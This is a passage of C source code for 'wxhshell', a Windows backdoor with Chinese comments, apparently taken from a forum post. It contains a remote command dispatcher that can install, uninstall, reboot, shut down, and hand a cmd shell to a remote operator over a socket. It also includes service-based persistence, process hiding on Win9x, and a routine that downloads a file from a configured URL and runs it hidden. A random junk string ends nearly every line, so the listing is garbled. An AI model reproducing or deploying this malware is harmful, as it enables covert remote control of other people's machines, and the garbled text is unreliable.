  JA4Zg*7I  
  // 帮助 k^oSG1F  
  case '?': { bkJ bnW=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .6gx|V+  
    break;  ,t 2CQ  
  } uUfw"*D  
  // 安装 Ij(dgY  
  case 'i': { XEiVs\) G  
    if(Install()) \ZRII<k5)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ()6% 1zCO  
    else A'w+Lc.2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "c[>>t  
    break; !IOmJpl'  
    } :Ak^M~6a5  
  // 卸载 )?[2Y%P  
  case 'r': { "1s ]74  
    if(Uninstall()) $2Wk#F2c=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =\]gL%N-|  
    else w5z]=dN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mRx `G(u:v  
    break; b_Y+XXb<  
    } 9SeGkwec?$  
  // 显示 wxhshell 所在路径 (`4&h%g  
  case 'p': { cP tDIc,  
    char svExeFile[MAX_PATH]; F,_cci`p  
    strcpy(svExeFile,"\n\r"); ),{3LIr  
      strcat(svExeFile,ExeFile); 2M+RA}dX  
        send(wsh,svExeFile,strlen(svExeFile),0); /eHf8l  
    break; lSR\wz*Fk  
    } L~ax`i1:"  
  // 重启 XF: wsC  
  case 'b': { EG\L]fmD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U>t:*SNC*  
    if(Boot(REBOOT)) .g/!u(iy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VQ!4( <XD  
    else { 9]3l'  
    closesocket(wsh); r5&c!b\  
    ExitThread(0); ScJ:F-@>  
    } xd3mAf  
    break; cPIyD?c  
    } L^e*_q2d:>  
  // 关机 2>"{El|PbN  
  case 'd': { HV!P]82Pa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jha*BaD~N  
    if(Boot(SHUTDOWN)) U+VJiz<!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <@`K^g;W  
    else { ~6#mVP5sU)  
    closesocket(wsh); s;h`n$  
    ExitThread(0); f@Mku0VT  
    } PE7V1U#$o,  
    break; '0 Ys`Qo  
    } +]t9kr  
  // 获取shell >kAJS??  
  case 's': { 1%M^MT%&  
    CmdShell(wsh); leHKBu'd  
    closesocket(wsh); IO #)r[JZ  
    ExitThread(0); {$N\@q@v~  
    break; <=uO*s>%  
  } ruqE]Hx9(  
  // 退出 JK)|a@BtOT  
  case 'x': { W{IP}mM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [ 2@Lc3<  
    CloseIt(wsh); E2 'Al6^C  
    break; Ew}GPJ  
    } H?opG<R=ek  
  // 离开 Uj 3{c  
  case 'q': { F4(;O7j9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &[\zs&[@y  
    closesocket(wsh); &>B|?d  
    WSACleanup(); !5+9~/;  
    exit(1); PvUY Q>Kw  
    break; Bptt"  
        } Yp m*or  
  } b<fN,U< k  
  } 9F,XjPK=  
yMNOjs'c {  
  // 提示信息 j+< !4 0#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1slt[&4N  
} Y\!:/h]E&  
  } "~C \Z} ;  
|RpZr!3V  
  return; qyyLU@hd  
} i_6wD  
8Pom^QopK  
// shell模块句柄 (`n*d3  
int CmdShell(SOCKET sock) tSDp>0yZ3  
{ E3Z>R=s  
STARTUPINFO si; -NG9?sI\U  
ZeroMemory(&si,sizeof(si)); =L$RY2S"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "z.!h(Eq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y^p%/p%  
PROCESS_INFORMATION ProcessInfo; @Ng q+uXm  
char cmdline[]="cmd"; [\HAJA,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IsL=DV/  
  return 0; r~;.8qs  
} .hvn/5s  
/9y'UKl7[  
// 自身启动模式 !x:w2  
int StartFromService(void) RAyR&p  
{ Y!E| X 3  
typedef struct 1?+)T%"  
{ Z?",+|4  
  DWORD ExitStatus; ,Ur~DXY  
  DWORD PebBaseAddress; {iq{<;)U?U  
  DWORD AffinityMask; HSl$ U0  
  DWORD BasePriority; ]*S_fme  
  ULONG UniqueProcessId; uuh vd h=  
  ULONG InheritedFromUniqueProcessId; 8DrKq]&  
}   PROCESS_BASIC_INFORMATION; (aCl*vV1  
J! eVw\6  
PROCNTQSIP NtQueryInformationProcess; nfvs"B;  
I^ A01\p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;rta#pRn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A%M&{S'+|X  
QQjMC'  
  HANDLE             hProcess; 6 ud<B  
  PROCESS_BASIC_INFORMATION pbi; EVmE{XlD;  
`V ++})5v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q14A 'XW  
  if(NULL == hInst ) return 0; r3{o _w  
w_J`29uc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >BQF<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4sK|l|W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NU/~E"^I.  
1[`l`Truz  
  if (!NtQueryInformationProcess) return 0; nBiA=+'v  
M/sqOhg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); El&pu x2  
  if(!hProcess) return 0; A[':O*iB  
!"J*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tbv6-) Hs  
/C8(cVNZ  
  CloseHandle(hProcess); W%Zyt:H`  
Zk;;~ESOU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kk5i{.?[  
if(hProcess==NULL) return 0; XKU=VOY  
lR^dT4  
HMODULE hMod; z8"=W,2  
char procName[255]; |V~P6o(/  
unsigned long cbNeeded; *&2#;mf3  
qV$',U*+T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f&cG;Y  
3yD5u  
  CloseHandle(hProcess); |-aj$u%~  
1aMBCh<}JN  
if(strstr(procName,"services")) return 1; // 以服务启动 |QgXSe7  
;%z0iZmg  
  return 0; // 注册表启动 0Rk'sEX,  
} 01q7n`o#zf  
@%cJjZ5y  
// 主模块 "RX?"pB  
int StartWxhshell(LPSTR lpCmdLine) {}^ELw  
{ LA@}{hU  
  SOCKET wsl; x}>tX  
BOOL val=TRUE; u!`C:C'  
  int port=0; x?<5=,  
  struct sockaddr_in door; u#UeJu O  
et ~gO!1:*  
  if(wscfg.ws_autoins) Install(); ta6 WZu  
;qk~>  
port=atoi(lpCmdLine); FW.dHvNX  
Q#r 0DWo\  
if(port<=0) port=wscfg.ws_port; /eMZTh*1P  
qiF~I0_0  
  WSADATA data; t@JPnA7~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H62*8y8  
ft6^s(t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A0X0t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EhUy7b,1_  
  door.sin_family = AF_INET; RK3/!C`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X5/{Mx`8Oz  
  door.sin_port = htons(port); coFg69\^  
O`0$pn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x[^A9  
closesocket(wsl); r;T/  
return 1; QF;<%QF:  
} NU(/Yit  
h{xER IV1u  
  if(listen(wsl,2) == INVALID_SOCKET) { ?-84_i  
closesocket(wsl); ,] {NZ9  
return 1; EXFxiw  
} rYS D-Kq  
  Wxhshell(wsl); *f#4S_ws`  
  WSACleanup(); "AK3t' jF*  
jr l6):x  
return 0; E\*",MGL  
9cmJD5OO  
} +?:V\niQI  
\ +xIH  
// 以NT服务方式启动 PC_4#6^5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &"h!SkX/  
{ ,< icW &a  
DWORD   status = 0; uWInx6p  
  DWORD   specificError = 0xfffffff; QPcB_wUqu  
>oNk(. %  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z%{f[|h9}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _dBU6U:V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h*9o_  
  serviceStatus.dwWin32ExitCode     = 0; .>'Z9.Xnk  
  serviceStatus.dwServiceSpecificExitCode = 0; 9h(hx 7]  
  serviceStatus.dwCheckPoint       = 0; wf@2&vJ  
  serviceStatus.dwWaitHint       = 0; YcV~S#b  
ncdr/(`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .am*d|&+G  
  if (hServiceStatusHandle==0) return; ~=mM/@HD  
Fb' wC  
status = GetLastError(); u" g p">  
  if (status!=NO_ERROR) dR+$7N$  
{ kZ9pgdI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "\[>@_p h  
    serviceStatus.dwCheckPoint       = 0; pzr-}>xrZ  
    serviceStatus.dwWaitHint       = 0; !~l%6Z5  
    serviceStatus.dwWin32ExitCode     = status; zNf5OItx  
    serviceStatus.dwServiceSpecificExitCode = specificError; UIj/Id  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dZgfls  
    return; NLGr=*dq  
  } ^e,RM_.  
i?/?{p$#a-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $bosGG  
  serviceStatus.dwCheckPoint       = 0; 9p4U\hx  
  serviceStatus.dwWaitHint       = 0; 0cUt"(]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~m?~eJK#a  
} K-u/q6ufK  
j2Y(Q/i  
// 处理NT服务事件,比如:启动、停止 ;#i$0~lRl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @GtZK  
{ (d#Z-w-  
switch(fdwControl) SXz([Z{)  
{ }aM`Jp-O  
case SERVICE_CONTROL_STOP: |]cDz  
  serviceStatus.dwWin32ExitCode = 0; LeyDs>! 0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8Q -F  
  serviceStatus.dwCheckPoint   = 0; U9 *2< c  
  serviceStatus.dwWaitHint     = 0; Oha g%<1#  
  { )x&@j4,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OF/)-}!  
  } q)b?X ^  
  return; QZox3LM1&.  
case SERVICE_CONTROL_PAUSE: [9_ (+E[}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gnt!!1_8L  
  break; uP2a\C,$  
case SERVICE_CONTROL_CONTINUE: odf^W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,P@-DDJ  
  break; np^<HfYV  
case SERVICE_CONTROL_INTERROGATE: ]?`p_G3O  
  break; x 4</\o  
}; F5MPy[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9lJj/  
} \=_q{  
am+mXb  
// 标准应用程序主函数 ha! "BR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9 /(c cj  
{ D#1~]d  
1T,PC?vr{  
// 获取操作系统版本 by[i"!RCu  
OsIsNt=GetOsVer(); i%4k5[f.:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -z$2pXT ^  
HbfB[%  
  // 从命令行安装 a BH1J]_  
  if(strpbrk(lpCmdLine,"iI")) Install(); S{T d/1}  
jY+S,lD  
  // 下载执行文件 ,GU/l)os`  
if(wscfg.ws_downexe) { ]UT|BE4v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !o':\hex6  
  WinExec(wscfg.ws_filenam,SW_HIDE); .<^Y E%  
} /'fDXSdP  
{WeXURp&nF  
if(!OsIsNt) { `lezJ (Xm  
// 如果时win9x,隐藏进程并且设置为注册表启动 s[@>uP  
HideProc(); 2\B9o `Y  
StartWxhshell(lpCmdLine); A=d$ir K[  
} 6H,=S`V]EK  
else )2Ru!l#  
  if(StartFromService()) YQdX>k  
  // 以服务方式启动 $YY)g$  
  StartServiceCtrlDispatcher(DispatchTable); m<"fRT!Y  
else RLOQ>vYY  
  // 普通方式启动 yUmsE-W  
  StartWxhshell(lpCmdLine); ]~S+nl yd<  
tlLn  
return 0; )z235}P  
}
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只看该作者 1 发表于: 2006-10-10
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